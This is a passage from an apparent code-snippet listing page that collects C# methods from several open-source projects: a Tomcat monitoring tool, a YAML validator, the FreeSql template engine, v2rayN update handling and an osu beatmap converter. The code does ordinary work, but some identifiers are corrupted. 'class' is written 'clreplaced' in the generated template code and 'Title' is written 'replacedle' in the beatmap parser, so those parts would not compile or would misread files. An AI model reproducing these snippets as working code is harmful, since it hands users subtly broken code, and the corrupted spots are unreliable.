                                                            json.Add("path", docBase);
                                                        }
                                                        else
                                                        {
                                                            json.Add("path", l_tomcat_path.Text + "webapps/" + docBase);
                                                        }
                                                        json.Add("name", docBase);
                                                        json.Add("url", l_visit_url.Text + "/" + path);
                                                        
                                                        itemList.Add(json);
                                                    }                                                    
                                                }
                                            }
                                        }
                                    }

                                    break;
                                }
                            }
                            if (port != null)
                            {
                                break;
                            }
                        }
                    }

                }

                File.Delete(targetxml);
            }
            catch { }
            return itemList;
        }

19 View Source File : TomcatMonitorForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void button1_Click(object sender, EventArgs e)
        {
            if (button1.Text == "修改")
            {
                tb_port.BorderStyle = BorderStyle.FixedSingle;
                tb_port.ReadOnly = false;
                tb_port.Location = new Point(tb_port.Location.X, tb_port.Location.Y - 2);
                button1.Text = "保存";
            }
            else if (button1.Text == "保存")
            {
                string port = tb_port.Text;
                if (port == itemConfig.tomcat.TomcatPort)
                {
                    label_msg.Text = "端口无变化";
                }
                else
                {
                    DialogResult dr = MessageBox.Show("修改端口后需要重启Tomcat才能生效,您确定要修改吗?", "操作提醒", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning);
                    if (dr == System.Windows.Forms.DialogResult.OK)
                    {
                        button1.Enabled = false;
                        label_msg.Text = "修改中...";
                        try
                        {
                            string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                            targetxml = targetxml.Replace("\\", "/");
                            string serverxml = l_xml_path.Text;
                            monitorForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                            string content = YSFile.readFileToString(targetxml);
                            if (null != content)
                            {
                                content = content.Replace(itemConfig.tomcat.TomcatPort, port);

                                YSFile.writeFileByString(targetxml, content);

                                monitorForm.RunSftpShell(string.Format("put {0} {1}", targetxml, serverxml), false, false);

                                itemConfig.tomcat.TomcatPort = port;

                                AppConfig.Instance.SaveConfig(2);

                                label_msg.Text = "修改成功";
                            }
                        }
                        catch (Exception ex)
                        {
                            logger.Error("修改Tomcat端口异常:" + ex.Message, ex);
                            label_msg.Text = "修改失败";
                        }

                    }
                    else
                    {
                        tb_port.Text = itemConfig.tomcat.TomcatPort;
                    }                 
                }

                button1.Enabled = true;
                button1.Text = "修改";
                tb_port.BorderStyle = BorderStyle.None;
                tb_port.ReadOnly = true;
                tb_port.Location = new Point(tb_port.Location.X, tb_port.Location.Y + 2);

                ControlUtil.delayClearText(new DelayDelegate(labelMsg), 2000);
            }
        }

19 View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void Ranks()
        {
            /*  得到光标行第一个字符的索引, 
             *  即从第1个字符开始到光标行的第1个字符索引*/
            int index = ymlEditor.GetFirstCharIndexOfCurrentLine();
            /*得到光标行的行号,第1行从0开始计算,习惯上我们是从1开始计算,所以+1。 */
            int line = ymlEditor.GetLineFromCharIndex(index) + 1;
            /*  SelectionStart得到光标所在位置的索引 
             *  再减去 
             *  当前行第一个字符的索引 
             *  = 光标所在的列数(从0开始)  */
            int column = ymlEditor.SelectionStart - index + 1;
            pos_label.Text = string.Format("行:{0},列:{1}", line.ToString(), column.ToString());
        }

19 View Source File : SftpLinuxForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void pasteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (COPY_QUEUE.Count > 0)
            {
                string[] items = null;
                string path1, path2;
                for (int i = 0, k = COPY_QUEUE.Count; i < k; i++ )
                {
                    items = COPY_QUEUE.Dequeue();
                    path1 = items[0] + items[1];
                    path2 = getCurrDir();
                    SendShell(string.Format("cp {0} {1}", path1, path2));
                }
                pasteToolStripMenuItem.Enabled = false;

                ThreadPool.QueueUserWorkItem((a) =>
                {
                    Thread.Sleep(500);
                    RefreshFiles();
                });
            }
        }

19 View Source File : YmlFormatUtil.cs
License : Apache License 2.0
Project Creator : 214175590

public static YmlError ValidateYml(string content)
        {
            YmlError result = null;
            string[] lines = content.Split('\n');
            int index1 = -1, index2 = -1, lineIndex = 1, index = 0;
            string startStr = null;
            foreach (string line in lines)
            {
                if (!line.TrimStart().StartsWith("#"))
                {
                    if (line.IndexOf("	") != -1 && line.Substring(0, line.IndexOf("	")).IndexOf("#") == -1)
                    {
                        result = new YmlError();
                        result.line = lineIndex;
                        result.index = content.IndexOf("	", index);
                        result.msg = string.Format("第{0}行,位置{1}包含Tab符", lineIndex, line.IndexOf("	"));
                        break;
                    }
                    else if (!string.IsNullOrWhiteSpace(line))
                    {
                        index2 = line.IndexOf("#");
                        if (index2 > 0)
                        {
                            startStr = line.Substring(0, index2);
                            index1 = startStr.IndexOf(":");
                            if (index1 <= 0)
                            {
                                result = new YmlError();
                                result.line = lineIndex;
                                result.index = index;
                                result.msg = string.Format("第{0}行,格式不正确,缺少冒号", lineIndex);
                                break;
                            }
                        }
                        else
                        {
                            index1 = line.IndexOf(":");
                            if (index1 <= 0)
                            {
                                result = new YmlError();
                                result.line = lineIndex;
                                result.index = index;
                                result.msg = string.Format("第{0}行,格式不正确,缺少冒号", lineIndex);
                                break;
                            }
                        }
                    }
                }
                
                lineIndex++;
                index += line.Length;
            }        
            return result;
        }

19 View Source File : RedisReader.cs
License : MIT License
Project Creator : 2881099

void ExpectBytesRead(long expecting, long actual)
        {
            if (actual != expecting)
                throw new RedisProtocolException(String.Format("Expecting {0} bytes; got {1} bytes", expecting, actual));
        }

19 View Source File : TemplateEngin.cs
License : MIT License
Project Creator : 2881099

private static ITemplateOutput Parser(string tplcode, string[] usings, IDictionary options) {
			int view = Interlocked.Increment(ref _view);
			StringBuilder sb = new StringBuilder();
			IDictionary options_copy = new Hashtable();
			foreach (DictionaryEntry options_de in options) options_copy[options_de.Key] = options_de.Value;
			sb.AppendFormat(@"
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;{1}

//namespace TplDynamicCodeGenerate {{
	public clreplaced TplDynamicCodeGenerate_view{0} : FreeSql.Template.TemplateEngin.ITemplateOutput {{
		public FreeSql.Template.TemplateEngin.TemplateReturnInfo OuTpUt(StringBuilder tOuTpUt, IDictionary oPtIoNs, string rEfErErFiLeNaMe, FreeSql.Template.TemplateEngin tEmPlAtEsEnDeR) {{
			FreeSql.Template.TemplateEngin.TemplateReturnInfo rTn = tOuTpUt == null ? 
				new FreeSql.Template.TemplateEngin.TemplateReturnInfo {{ Sb = (tOuTpUt = new StringBuilder()), Blocks = new Dictionary<string, int[]>() }} :
				new FreeSql.Template.TemplateEngin.TemplateReturnInfo {{ Sb = tOuTpUt, Blocks = new Dictionary<string, int[]>() }};
			Dictionary<string, int[]> TPL__blocks = rTn.Blocks;
			Stack<int[]> TPL__blocks_stack = new Stack<int[]>();
			int[] TPL__blocks_stack_peek;
			List<IDictionary> TPL__forc = new List<IDictionary>();
			Func<IDictionary> pRoCeSsOpTiOnS = new Func<IDictionary>(delegate () {{
				IDictionary nEwoPtIoNs = new Hashtable();
				foreach (DictionaryEntry oPtIoNs_dE in oPtIoNs)
					nEwoPtIoNs[oPtIoNs_dE.Key] = oPtIoNs_dE.Value;
				foreach (IDictionary TPL__forc_dIc in TPL__forc)
					foreach (DictionaryEntry TPL__forc_dIc_dE in TPL__forc_dIc)
						nEwoPtIoNs[TPL__forc_dIc_dE.Key] = TPL__forc_dIc_dE.Value;
				return nEwoPtIoNs;
			}});
			FreeSql.Template.TemplateEngin.TemplateIf tPlIf = delegate(object exp) {{
				if (exp is bool) return (bool)exp;
				if (exp == null) return false;
				if (exp is int && (int)exp == 0) return false;
				if (exp is string && (string)exp == string.Empty) return false;
				if (exp is long && (long)exp == 0) return false;
				if (exp is short && (short)exp == 0) return false;
				if (exp is byte && (byte)exp == 0) return false;
				if (exp is double && (double)exp == 0) return false;
				if (exp is float && (float)exp == 0) return false;
				if (exp is decimal && (decimal)exp == 0) return false;
				return true;
			}};
			FreeSql.Template.TemplateEngin.TemplatePrint print = delegate(object[] pArMs) {{
				if (pArMs == null || pArMs.Length == 0) return;
				foreach (object pArMs_A in pArMs) if (pArMs_A != null) tOuTpUt.Append(pArMs_A);
			}};
			FreeSql.Template.TemplateEngin.TemplatePrint Print = print;", view, usings?.Any() == true ? $"\r\nusing {string.Join(";\r\nusing ", usings)};" : "");

			#region {miss}...{/miss}块内容将不被解析
			string[] tmp_content_arr = _reg_miss.Split(tplcode);
			if (tmp_content_arr.Length > 1) {
				sb.AppendFormat(@"
			string[] TPL__MISS = new string[{0}];", Math.Ceiling(1.0 * (tmp_content_arr.Length - 1) / 2));
				int miss_len = -1;
				for (int a = 1; a < tmp_content_arr.Length; a += 2) {
					sb.Append(string.Concat(@"
			TPL__MISS[", ++miss_len, @"] = """, Utils.GetConstString(tmp_content_arr[a]), @""";"));
					tmp_content_arr[a] = string.Concat("{#TPL__MISS[", miss_len, "]}");
				}
				tplcode = string.Join("", tmp_content_arr);
			}
			#endregion
			#region 扩展语法如 <div @if="表达式"></div>
			tplcode = htmlSyntax(tplcode, 3); //<div @if="c#表达式" @for="index 1,100"></div>
											  //处理 {% %} 块 c#代码
			tmp_content_arr = _reg_code.Split(tplcode);
			if (tmp_content_arr.Length == 1) {
				tplcode = Utils.GetConstString(tplcode)
					.Replace("{%", "{$TEMPLATE__CODE}")
					.Replace("%}", "{/$TEMPLATE__CODE}");
			} else {
				tmp_content_arr[0] = Utils.GetConstString(tmp_content_arr[0]);
				for (int a = 1; a < tmp_content_arr.Length; a += 4) {
					tmp_content_arr[a] = "{$TEMPLATE__CODE}";
					tmp_content_arr[a + 2] = "{/$TEMPLATE__CODE}";
					tmp_content_arr[a + 3] = Utils.GetConstString(tmp_content_arr[a + 3]);
				}
				tplcode = string.Join("", tmp_content_arr);
			}
			#endregion
			sb.Append(@"
			tOuTpUt.Append(""");

			string error = null;
			int tpl_tmpid = 0;
			int forc_i = 0;
			string extends = null;
			Stack<string> codeTree = new Stack<string>();
			Stack<string> forEndRepl = new Stack<string>();
			sb.Append(_reg.Replace(tplcode, delegate (Match m) {
				string _0 = m.Groups[0].Value;
				if (!string.IsNullOrEmpty(error)) return _0;

				string _1 = m.Groups[1].Value.Trim(' ', '\t');
				string _2 = m.Groups[2].Value
					.Replace("\\\\", "\\")
					.Replace("\\\"", "\"");
				_2 = Utils.ReplaceSingleQuote(_2);

				switch (_1) {
					#region $TEMPLATE__CODE--------------------------------------------------
					case "$TEMPLATE__CODE":
						codeTree.Push(_1);
						return @""");
";
					case "/$TEMPLATE__CODE":
						string pop = codeTree.Pop();
						if (pop != "$TEMPLATE__CODE") {
							codeTree.Push(pop);
							error = "编译出错,{% 与 %} 并没有配对";
							return _0;
						}
						return @"
			tOuTpUt.Append(""";
					#endregion
					case "include":
						return string.Format(@""");
tEmPlAtEsEnDeR.RenderFile2(tOuTpUt, pRoCeSsOpTiOnS(), ""{0}"", rEfErErFiLeNaMe);
			tOuTpUt.Append(""", _2);
					case "import":
						return _0;
					case "module":
						return _0;
					case "/module":
						return _0;
					case "extends":
						//{extends ../inc/layout.html}
						if (string.IsNullOrEmpty(extends) == false) return _0;
						extends = _2;
						return string.Empty;
					case "block":
						codeTree.Push("block");
						return string.Format(@""");
TPL__blocks_stack_peek = new int[] {{ tOuTpUt.Length, 0 }};
TPL__blocks_stack.Push(TPL__blocks_stack_peek);
TPL__blocks.Add(""{0}"", TPL__blocks_stack_peek);
tOuTpUt.Append(""", _2.Trim(' ', '\t'));
					case "/block":
						codeTreeEnd(codeTree, "block");
						return @""");
TPL__blocks_stack_peek = TPL__blocks_stack.Pop();
TPL__blocks_stack_peek[1] = tOuTpUt.Length - TPL__blocks_stack_peek[0];
tOuTpUt.Append(""";

					#region ##---------------------------------------------------------
					case "#":
						if (_2[0] == '#')
							return string.Format(@""");
			try {{ Print({0}); }} catch {{ }}
			tOuTpUt.Append(""", _2.Substring(1));
						return string.Format(@""");
			Print({0});
			tOuTpUt.Append(""", _2);
					#endregion
					#region for--------------------------------------------------------
					case "for":
						forc_i++;
						int cur_tpl_tmpid = tpl_tmpid;
						string sb_endRepl = string.Empty;
						StringBuilder sbfor = new StringBuilder();
						sbfor.Append(@""");");
						Match mfor = _reg_forin.Match(_2);
						if (mfor.Success) {
							string mfor1 = mfor.Groups[1].Value.Trim(' ', '\t');
							string mfor2 = mfor.Groups[2].Value.Trim(' ', '\t');
							sbfor.AppendFormat(@"
//new Action(delegate () {{
	IDictionary TPL__tmp{0} = new Hashtable();
	TPL__forc.Add(TPL__tmp{0});
	var TPL__tmp{1} = {3};
	var TPL__tmp{2} = {4};", ++tpl_tmpid, ++tpl_tmpid, ++tpl_tmpid, mfor.Groups[3].Value, mfor1);
							sb_endRepl = string.Concat(sb_endRepl, string.Format(@"
	{0} = TPL__tmp{1};", mfor1, cur_tpl_tmpid + 3));
							if (options_copy.Contains(mfor1) == false) options_copy[mfor1] = null;
							if (!string.IsNullOrEmpty(mfor2)) {
								sbfor.AppendFormat(@"
	var TPL__tmp{1} = {0};
	{0} = 0;", mfor2, ++tpl_tmpid);
								sb_endRepl = string.Concat(sb_endRepl, string.Format(@"
	{0} = TPL__tmp{1};", mfor2, tpl_tmpid));
								if (options_copy.Contains(mfor2) == false) options_copy[mfor2] = null;
							}
							sbfor.AppendFormat(@"
	if (TPL__tmp{1} != null)
	foreach (var TPL__tmp{0} in TPL__tmp{1}) {{", ++tpl_tmpid, cur_tpl_tmpid + 2);
							if (!string.IsNullOrEmpty(mfor2))
								sbfor.AppendFormat(@"
		TPL__tmp{1}[""{0}""] = ++ {0};", mfor2, cur_tpl_tmpid + 1);
							sbfor.AppendFormat(@"
		TPL__tmp{1}[""{0}""] = TPL__tmp{2};
		{0} = TPL__tmp{2};
		tOuTpUt.Append(""", mfor1, cur_tpl_tmpid + 1, tpl_tmpid);
							codeTree.Push("for");
							forEndRepl.Push(sb_endRepl);
							return sbfor.ToString();
						}
						mfor = _reg_foron.Match(_2);
						if (mfor.Success) {
							string mfor1 = mfor.Groups[1].Value.Trim(' ', '\t');
							string mfor2 = mfor.Groups[2].Value.Trim(' ', '\t');
							string mfor3 = mfor.Groups[3].Value.Trim(' ', '\t');
							sbfor.AppendFormat(@"
//new Action(delegate () {{
	IDictionary TPL__tmp{0} = new Hashtable();
	TPL__forc.Add(TPL__tmp{0});
	var TPL__tmp{1} = {3};
	var TPL__tmp{2} = {4};", ++tpl_tmpid, ++tpl_tmpid, ++tpl_tmpid, mfor.Groups[4].Value, mfor1);
							sb_endRepl = string.Concat(sb_endRepl, string.Format(@"
	{0} = TPL__tmp{1};", mfor1, cur_tpl_tmpid + 3));
							if (options_copy.Contains(mfor1) == false) options_copy[mfor1] = null;
							if (!string.IsNullOrEmpty(mfor2)) {
								sbfor.AppendFormat(@"
	var TPL__tmp{1} = {0};", mfor2, ++tpl_tmpid);
								sb_endRepl = string.Concat(sb_endRepl, string.Format(@"
	{0} = TPL__tmp{1};", mfor2, tpl_tmpid));
								if (options_copy.Contains(mfor2) == false) options_copy[mfor2] = null;
							}
							if (!string.IsNullOrEmpty(mfor3)) {
								sbfor.AppendFormat(@"
	var TPL__tmp{1} = {0};
	{0} = 0;", mfor3, ++tpl_tmpid);
								sb_endRepl = string.Concat(sb_endRepl, string.Format(@"
	{0} = TPL__tmp{1};", mfor3, tpl_tmpid));
								if (options_copy.Contains(mfor3) == false) options_copy[mfor3] = null;
							}
							sbfor.AppendFormat(@"
	if (TPL__tmp{2} != null)
	foreach (DictionaryEntry TPL__tmp{1} in TPL__tmp{2}) {{
		{0} = TPL__tmp{1}.Key;
		TPL__tmp{3}[""{0}""] = {0};", mfor1, ++tpl_tmpid, cur_tpl_tmpid + 2, cur_tpl_tmpid + 1);
							if (!string.IsNullOrEmpty(mfor2))
								sbfor.AppendFormat(@"
		{0} = TPL__tmp{1}.Value;
		TPL__tmp{2}[""{0}""] = {0};", mfor2, tpl_tmpid, cur_tpl_tmpid + 1);
							if (!string.IsNullOrEmpty(mfor3))
								sbfor.AppendFormat(@"
		TPL__tmp{1}[""{0}""] = ++ {0};", mfor3, cur_tpl_tmpid + 1);
							sbfor.AppendFormat(@"
		tOuTpUt.Append(""");
							codeTree.Push("for");
							forEndRepl.Push(sb_endRepl);
							return sbfor.ToString();
						}
						mfor = _reg_forab.Match(_2);
						if (mfor.Success) {
							string mfor1 = mfor.Groups[1].Value.Trim(' ', '\t');
							sbfor.AppendFormat(@"
//new Action(delegate () {{
	IDictionary TPL__tmp{0} = new Hashtable();
	TPL__forc.Add(TPL__tmp{0});
	var TPL__tmp{1} = {5};
	{5} = {3} - 1;
	if ({5} == null) {5} = 0;
	var TPL__tmp{2} = {4} + 1;
	while (++{5} < TPL__tmp{2}) {{
		TPL__tmp{0}[""{5}""] = {5};
		tOuTpUt.Append(""", ++tpl_tmpid, ++tpl_tmpid, ++tpl_tmpid, mfor.Groups[2].Value, mfor.Groups[3].Value, mfor1);
							sb_endRepl = string.Concat(sb_endRepl, string.Format(@"
	{0} = TPL__tmp{1};", mfor1, cur_tpl_tmpid + 1));
							if (options_copy.Contains(mfor1) == false) options_copy[mfor1] = null;
							codeTree.Push("for");
							forEndRepl.Push(sb_endRepl);
							return sbfor.ToString();
						}
						return _0;
					case "/for":
						if (--forc_i < 0) return _0;
						codeTreeEnd(codeTree, "for");
						return string.Format(@""");
	}}{0}
	TPL__forc.RemoveAt(TPL__forc.Count - 1);
//}})();
			tOuTpUt.Append(""", forEndRepl.Pop());
					#endregion
					#region if---------------------------------------------------------
					case "if":
						codeTree.Push("if");
						return string.Format(@""");
			if ({1}tPlIf({0})) {{
				tOuTpUt.Append(""", _2[0] == '!' ? _2.Substring(1) : _2, _2[0] == '!' ? '!' : ' ');
					case "elseif":
						codeTreeEnd(codeTree, "if");
						codeTree.Push("if");
						return string.Format(@""");
			}} else if ({1}tPlIf({0})) {{
				tOuTpUt.Append(""", _2[0] == '!' ? _2.Substring(1) : _2, _2[0] == '!' ? '!' : ' ');
					case "else":
						codeTreeEnd(codeTree, "if");
						codeTree.Push("if");
						return @""");
			} else {
			tOuTpUt.Append(""";
					case "/if":
						codeTreeEnd(codeTree, "if");
						return @""");
			}
			tOuTpUt.Append(""";
						#endregion
				}
				return _0;
			}));

			sb.Append(@""");");
			if (string.IsNullOrEmpty(extends) == false) {
				sb.AppendFormat(@"
FreeSql.Template.TemplateEngin.TemplateReturnInfo eXtEnDs_ReT = tEmPlAtEsEnDeR.RenderFile2(null, pRoCeSsOpTiOnS(), ""{0}"", rEfErErFiLeNaMe);
string rTn_Sb_string = rTn.Sb.ToString();
foreach(string eXtEnDs_ReT_blocks_key in eXtEnDs_ReT.Blocks.Keys) {{
	if (rTn.Blocks.ContainsKey(eXtEnDs_ReT_blocks_key)) {{
		int[] eXtEnDs_ReT_blocks_value = eXtEnDs_ReT.Blocks[eXtEnDs_ReT_blocks_key];
		eXtEnDs_ReT.Sb.Remove(eXtEnDs_ReT_blocks_value[0], eXtEnDs_ReT_blocks_value[1]);
		int[] rTn_blocks_value = rTn.Blocks[eXtEnDs_ReT_blocks_key];
		eXtEnDs_ReT.Sb.Insert(eXtEnDs_ReT_blocks_value[0], rTn_Sb_string.Substring(rTn_blocks_value[0], rTn_blocks_value[1]));
		foreach(string eXtEnDs_ReT_blocks_keyb in eXtEnDs_ReT.Blocks.Keys) {{
			if (eXtEnDs_ReT_blocks_keyb == eXtEnDs_ReT_blocks_key) continue;
			int[] eXtEnDs_ReT_blocks_valueb = eXtEnDs_ReT.Blocks[eXtEnDs_ReT_blocks_keyb];
			if (eXtEnDs_ReT_blocks_valueb[0] >= eXtEnDs_ReT_blocks_value[0])
				eXtEnDs_ReT_blocks_valueb[0] = eXtEnDs_ReT_blocks_valueb[0] - eXtEnDs_ReT_blocks_value[1] + rTn_blocks_value[1];
		}}
		eXtEnDs_ReT_blocks_value[1] = rTn_blocks_value[1];
	}}
}}
return eXtEnDs_ReT;
", extends);
			} else {
				sb.Append(@"
return rTn;");
			}
			sb.Append(@"
		}
	}
//}
");
			var str = "FreeSql.Template.TemplateEngin.TemplatePrint Print = print;";
			int dim_idx = sb.ToString().IndexOf(str) + str.Length;
			foreach (string dic_name in options_copy.Keys) {
				sb.Insert(dim_idx, string.Format(@"
			dynamic {0} = oPtIoNs[""{0}""];", dic_name));
			}
			//Console.WriteLine(sb.ToString());
			return Complie(sb.ToString(), @"TplDynamicCodeGenerate_view" + view);
		}

19 View Source File : RazorModel.cs
License : MIT License
Project Creator : 2881099

public string GetMySqlEnumSetDefine()
	{
		if (fsql.Ado.DataType != FreeSql.DataType.MySql && fsql.Ado.DataType != FreeSql.DataType.OdbcMySql) return null;
		var sb = new StringBuilder();
		foreach (var col in table.Columns)
		{
			if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Enum || col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set)
			{
				if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set) sb.Append("\r\n\t[Flags]");
				sb.Append($"\r\n\tpublic enum {this.GetCsName(this.FullTableName)}{this.GetCsName(col.Name).ToUpper()}");
				if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set) sb.Append(" : long");
				sb.Append(" {\r\n\t\t");

				string slkdgjlksdjg = "";
				int field_idx = 0;
				int unknow_idx = 0;
				string exp2 = string.Concat(col.DbTypeTextFull);
				int quote_pos = -1;
				while (true)
				{
					int first_pos = quote_pos = exp2.IndexOf('\'', quote_pos + 1);
					if (quote_pos == -1) break;
					while (true)
					{
						quote_pos = exp2.IndexOf('\'', quote_pos + 1);
						if (quote_pos == -1) break;
						int r_cout = 0;
						//for (int p = 1; true; p++) {
						//	if (exp2[quote_pos - p] == '\\') r_cout++;
						//	else break;
						//}
						while (exp2[++quote_pos] == '\'') r_cout++;
						if (r_cout % 2 == 0/* && quote_pos - first_pos > 2*/)
						{
							string str2 = exp2.Substring(first_pos + 1, quote_pos - first_pos - 2).Replace("''", "'");
							if (Regex.IsMatch(str2, @"^[\u0391-\uFFE5a-zA-Z_\$][\u0391-\uFFE5a-zA-Z_\$\d]*$"))
								slkdgjlksdjg += ", " + str2;
							else
								slkdgjlksdjg += string.Format(@", 
/// <summary>
/// {0}
/// </summary>
[Description(""{0}"")]
Unknow{1}", str2.Replace("\"", "\\\""), ++unknow_idx);
							if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set)
								slkdgjlksdjg += " = " + Math.Pow(2, field_idx++);
							if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Enum && field_idx++ == 0)
								slkdgjlksdjg += " = 1";
							break;
						}
					}
					if (quote_pos == -1) break;
				}
				sb.Append(slkdgjlksdjg.Substring(2).TrimStart('\r', '\n', '\t'));
				sb.Append("\r\n\t}");
			}
		}
		return sb.ToString();
	}

19 View Source File : RazorModel.cs
License : MIT License
Project Creator : 2881099

public string GetMySqlEnumSetDefine() {
		if (fsql.Ado.DataType != FreeSql.DataType.MySql) return null;
		var sb = new StringBuilder();
		foreach (var col in table.Columns) {
			if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Enum || col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set) {
				if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set) sb.Append("\r\n\t[Flags]");
				sb.Append($"\r\n\tpublic enum {this.GetCsName(this.FullTableName)}{this.GetCsName(col.Name).ToUpper()}");
				if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set) sb.Append(" : long");
				sb.Append(" {\r\n\t\t");

				string slkdgjlksdjg = "";
				int field_idx = 0;
				int unknow_idx = 0;
				string exp2 = string.Concat(col.DbTypeTextFull);
				int quote_pos = -1;
				while (true) {
					int first_pos = quote_pos = exp2.IndexOf('\'', quote_pos + 1);
					if (quote_pos == -1) break;
					while (true) {
						quote_pos = exp2.IndexOf('\'', quote_pos + 1);
						if (quote_pos == -1) break;
						int r_cout = 0;
						//for (int p = 1; true; p++) {
						//	if (exp2[quote_pos - p] == '\\') r_cout++;
						//	else break;
						//}
						while (exp2[++quote_pos] == '\'') r_cout++;
						if (r_cout % 2 == 0/* && quote_pos - first_pos > 2*/) {
							string str2 = exp2.Substring(first_pos + 1, quote_pos - first_pos - 2).Replace("''", "'");
							if (Regex.IsMatch(str2, @"^[\u0391-\uFFE5a-zA-Z_\$][\u0391-\uFFE5a-zA-Z_\$\d]*$"))
								slkdgjlksdjg += ", " + str2;
							else
								slkdgjlksdjg += string.Format(@", 
/// <summary>
/// {0}
/// </summary>
[Description(""{0}"")]
Unknow{1}", str2.Replace("\"", "\\\""), ++unknow_idx);
							if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Set)
								slkdgjlksdjg += " = " + Math.Pow(2, field_idx++);
							if (col.DbType == (int)MySql.Data.MySqlClient.MySqlDbType.Enum && field_idx++ == 0)
								slkdgjlksdjg += " = 1";
							break;
						}
					}
					if (quote_pos == -1) break;
				}
				sb.Append(slkdgjlksdjg.Substring(2).TrimStart('\r', '\n', '\t'));
				sb.Append("\r\n\t}");
			}
		}
		return sb.ToString();
	}

19 View Source File : Utils.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static string GetVersion()
        {
            try
            {
                string location = GetExePath();
                return string.Format("v2rayN - V{0} - {1}",
                        FileVersionInfo.GetVersionInfo(location).FileVersion.ToString(),
                        File.GetLastWriteTime(location).ToString("yyyy/MM/dd"));
            }
            catch (Exception ex)
            {
                SaveLog(ex.Message, ex);
                return string.Empty;
            }
        }

19 View Source File : SpeedtestHandler.cs
License : GNU General Public License v3.0
Project Creator : 2dust

private string FormatOut(object time, string unit)
        {
            if (time.ToString().Equals("-1"))
            {
                return "Timeout";
            }
            return string.Format("{0}{1}", time, unit).PadLeft(8, ' ');
        }

19 View Source File : UpdateHandle.cs
License : GNU General Public License v3.0
Project Creator : 2dust

private void responseHandler(string type, string redirectUrl)
        {
            try
            {
                string version = redirectUrl.Substring(redirectUrl.LastIndexOf("/", StringComparison.Ordinal) + 1);

                string curVersion;
                string message;
                string url;
                if (type == "v2fly")
                {
                    curVersion = "v" + getCoreVersion(type);
                    message = string.Format(UIRes.I18N("IsLatestCore"), curVersion);
                    string osBit = Environment.Is64BitProcess ? "64" : "32";
                    url = string.Format(v2flyCoreUrl, version, osBit);
                }
                else if (type == "xray")
                {
                    curVersion = "v" + getCoreVersion(type);
                    message = string.Format(UIRes.I18N("IsLatestCore"), curVersion);
                    string osBit = Environment.Is64BitProcess ? "64" : "32";
                    url = string.Format(xrayCoreUrl, version, osBit);
                }
                else if (type == "v2rayN")
                {
                    curVersion = FileVersionInfo.GetVersionInfo(Utils.GetExePath()).FileVersion.ToString();
                    message = string.Format(UIRes.I18N("IsLatestN"), curVersion);
                    url = string.Format(nUrl, version);
                }
                else
                {
                    throw new ArgumentException("Type");
                }

                if (curVersion == version)
                {
                    AbsoluteCompleted?.Invoke(this, new ResultEventArgs(false, message));
                    return;
                }

                AbsoluteCompleted?.Invoke(this, new ResultEventArgs(true, url));
            }
            catch (Exception ex)
            {
                Utils.SaveLog(ex.Message, ex);
                _updateFunc(false, ex.Message);
            }
        }

19 View Source File : BeatmapConverter.cs
License : MIT License
Project Creator : 39M

static void Convert()
    {
        Debug.Log(string.Format("Source path: {0}", beatmapPath));

        // 每个目录代表一首歌,里面按字典序放置至多三个谱面,依次为 Easy, Normal, Hard
        string[] sourceDirectories = Directory.GetDirectories(beatmapPath);
        foreach (string directoryPath in sourceDirectories)
        {
            Music music = new Music();

            // 遍历单个目录下的所有 osu 文件,对每个文件创建一个 Beatmap 对象,加到 Music 对象里面
            string[] sourceFiles = Directory.GetFiles(directoryPath, "*.osu");
            int count = 0;
            foreach (string filepath in sourceFiles)
            {
                string[] lines = File.ReadAllLines(filepath);

                Beatmap beatmap = new Beatmap();
                music.beatmapList.Add(beatmap);

                #region Set Difficulty
                beatmap.difficultyName = difficultyNames[Mathf.Min(count, difficultyNames.Length - 1)];
                beatmap.difficultyDisplayColor = new SimpleColor(difficultyColors[Mathf.Min(count, difficultyNames.Length - 1)]);
                count++;
                #endregion

                #region Processing file line by line
                bool startProcessNotes = false;
                foreach (string line in lines)
                {
                    if (line.StartsWith("[HitObjects]"))
                    {
                        startProcessNotes = true;
                        continue;
                    }

                    if (!startProcessNotes)
                    {
                        // 处理谱面信息

                        int lastIndex = line.LastIndexOf(':');
                        if (lastIndex < 0)
                        {
                            // 如果不是有效信息行则跳过
                            continue;
                        }

                        string value = line.Substring(lastIndex + 1).Trim();

                        if (line.StartsWith("replacedle"))
                        {
                            music.replacedle = value;
                        }
                        else if (line.StartsWith("Artist"))
                        {
                            music.artist = value;
                        }
                        else if (line.StartsWith("AudioFilename"))
                        {
                            value = value.Remove(value.LastIndexOf('.'));
                            music.audioFilename = value;
                            music.bannerFilename = value;
                            music.soundEffectFilename = value;
                        }
                        else if (line.StartsWith("PreviewTime"))
                        {
                            music.previewTime = float.Parse(value) / 1000;
                        }
                        else if (line.StartsWith("Creator"))
                        {
                            beatmap.creator = value;
                        }
                        else if (line.StartsWith("Version"))
                        {
                            beatmap.version = value;
                        }
                    }
                    else
                    {
                        // 开始处理 HitObject

                        string[] noteInfo = line.Split(',');
                        int type = int.Parse(noteInfo[3]);

                        if ((type & 0x01) != 0)
                        {
                            // Circle
                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
                                time = float.Parse(noteInfo[2]) / 1000,
                                // 其他 Circle 相关的处理
                            });
                        }
                        else if ((type & 0x02) != 0)
                        {
                            // Slider
                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
